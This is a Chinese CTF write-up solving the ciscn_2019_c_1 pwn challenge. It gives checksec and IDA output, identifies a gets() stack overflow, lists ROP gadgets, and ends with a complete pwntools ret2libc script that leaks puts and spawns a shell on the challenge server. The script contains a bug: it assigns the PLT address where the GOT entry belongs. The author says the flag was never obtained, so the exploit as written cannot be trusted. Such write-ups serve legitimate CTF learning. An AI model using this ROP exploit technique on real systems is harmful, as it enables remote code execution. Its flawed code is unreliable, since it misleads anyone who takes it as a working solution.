分析

  1. checksec
1
2
3
4
5
➜  pwn checksec --file=ciscn_2019_c_1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 85) Symbols No 0 1 ciscn_2019_c_1
➜ pwn file ciscn_2019_c_1
ciscn_2019_c_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06ddf49af2b8c7ed708d3cfd8aec8757bca82544, not stripped
  1. ida
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

跟进encrypt函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

可以发现:

  1. gets(s)存在溢出
  2. v0 >= strlen(s) 条件判断可以绕过,用**\0**绕过
  3. s大小:0x50

ROP利用

因为是64位程序,所以需要通过寄存器传参

  1. 寻找pop_rdi 地址和ret地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  pwn ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'    
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
  • 0x0000000000400c83 : pop rdi ; ret 用于函数传参
  • 0x00000000004006b9 : ret:用于函数调用
1
2
pwndbg> info address main
Symbol "main" is at 0x400b28 in a file compiled without debugging.
  • 0x400b28 : main 用于二次执行
  • 具体原理如下

puts_got作为参数存放到rdi中,puts_plt调用puts函数,打印puts_got值,然后返回main

  1. 利用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn',26638)
elf = ELF('./ciscn_2019_c_1')
pop_rdi = 0x400c83
ret = 0x4006b9
main = 0x400B28
puts_plt = elf.plt['puts']
puts_got = elf.plt['puts']
r.sendlineafter('Input your choice!\n','1')
buf = b'\0' + b'a'*(0x50+8-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendlineafter('Input your Plaintext to be encrypted\n',buf)
r.recvline()
r.recvline()
puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
r.sendlineafter('Input your choice!\n','1')
buf = b'\0' + b'a' * (0x50+8-1) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
r.sendlineafter('Input your Plaintext to be encrypted\n',buf)
r.interactive()

思路就是这样,但是最后没有拿到falg,因为查到对应的clib,哈哈哈